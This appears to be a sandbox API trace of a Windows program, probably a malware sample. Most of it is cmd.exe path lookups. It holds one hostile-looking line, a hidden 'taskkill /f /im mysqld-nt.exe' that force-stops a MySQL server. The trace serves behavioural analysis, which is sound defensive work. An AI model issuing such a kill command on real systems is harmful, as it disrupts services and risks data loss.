	[0042.135] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497048 | out: lpFileInformation=0x12497048*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.135] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.135] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12497098 | out: lpFileInformation=0x12497098*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.135] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.135] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x124970e8 | out: lpFileInformation=0x124970e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.135] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.135] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12497138 | out: lpFileInformation=0x12497138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.136] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.136] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12497188 | out: lpFileInformation=0x12497188*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.136] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.136] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x124971d8 | out: lpFileInformation=0x124971d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.136] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.136] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12497228 | out: lpFileInformation=0x12497228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.136] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.136] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12497278 | out: lpFileInformation=0x12497278*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.136] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.136] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124972c8 | out: lpFileInformation=0x124972c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.136] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.136] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12497318 | out: lpFileInformation=0x12497318*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.136] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.136] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12497368 | out: lpFileInformation=0x12497368*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.137] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.137] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x124973b8 | out: lpFileInformation=0x124973b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.137] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.137] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x12409ba0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0042.137] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497408 | out: lpFileInformation=0x12497408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0042.137] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409c70, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.137] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497458 | out: lpFileInformation=0x12497458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0042.137] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0042.137] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0042.137] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0042.137] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0042.138] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0042.138] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0042.138] GetEnvironmentStringsW () returned 0x7eb348*
	[0042.138] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0042.138] GetCurrentProcess () returned 0xffffffff
	[0042.138] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b150, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b150*=0xc8) returned 1
	[0042.138] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b154, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b154*=0xac) returned 1
	[0042.138] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1249b158, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x1249b158*=0xb8) returned 1
	[0042.138] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im mysqld-nt.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b1800, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im mysqld-nt.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc0, hThread=0xbc, dwProcessId=0x90c, dwThreadId=0x908)) returned 1
	[0042.146] CloseHandle (hObject=0xbc) returned 1
	[0042.146] CloseHandle (hObject=0xb8) returned 1
	[0042.146] CloseHandle (hObject=0xac) returned 1
	[0042.146] CloseHandle (hObject=0xc8) returned 1
	[0042.146] CloseHandle (hObject=0xc4) returned 1
	[0042.147] CloseHandle (hObject=0xb0) returned 1
	[0042.147] CloseHandle (hObject=0xb4) returned 1
	[0042.147] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xffffffff) returned 0x0
	[0042.547] SetEvent (hEvent=0xa8) returned 1
	[0042.547] GetExitCodeProcess (in: hProcess=0xc0, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0042.547] GetProcessTimes (in: hProcess=0xc0, lpCreationTime=0x124c47e0, lpExitTime=0x124c47e8, lpKernelTime=0x124c47f0, lpUserTime=0x124c47f8 | out: lpCreationTime=0x124c47e0, lpExitTime=0x124c47e8, lpKernelTime=0x124c47f0, lpUserTime=0x124c47f8) returned 1
	[0042.548] CloseHandle (hObject=0xc0) returned 1
	[0042.548] SetEvent (hEvent=0x80) returned 1
	[0042.548] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0042.559] SetEvent (hEvent=0x80) returned 1
	[0042.559] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441930, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.559] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249ebe8 | out: lpFileInformation=0x1249ebe8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.560] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.560] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x1249ec38 | out: lpFileInformation=0x1249ec38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.560] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.560] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249ec88 | out: lpFileInformation=0x1249ec88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.560] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.560] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x1249ecd8 | out: lpFileInformation=0x1249ecd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.560] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.560] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249ed28 | out: lpFileInformation=0x1249ed28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.560] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.560] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249ed78 | out: lpFileInformation=0x1249ed78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.560] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.560] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249edc8 | out: lpFileInformation=0x1249edc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.561] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.561] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249ee18 | out: lpFileInformation=0x1249ee18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.561] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.561] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x1249ee68 | out: lpFileInformation=0x1249ee68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.561] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.561] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x1249eeb8 | out: lpFileInformation=0x1249eeb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.561] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.561] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x1249ef08 | out: lpFileInformation=0x1249ef08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.561] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0042.561] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x1249ef58 | out: lpFileInformation=0x1249ef58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0042.561] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
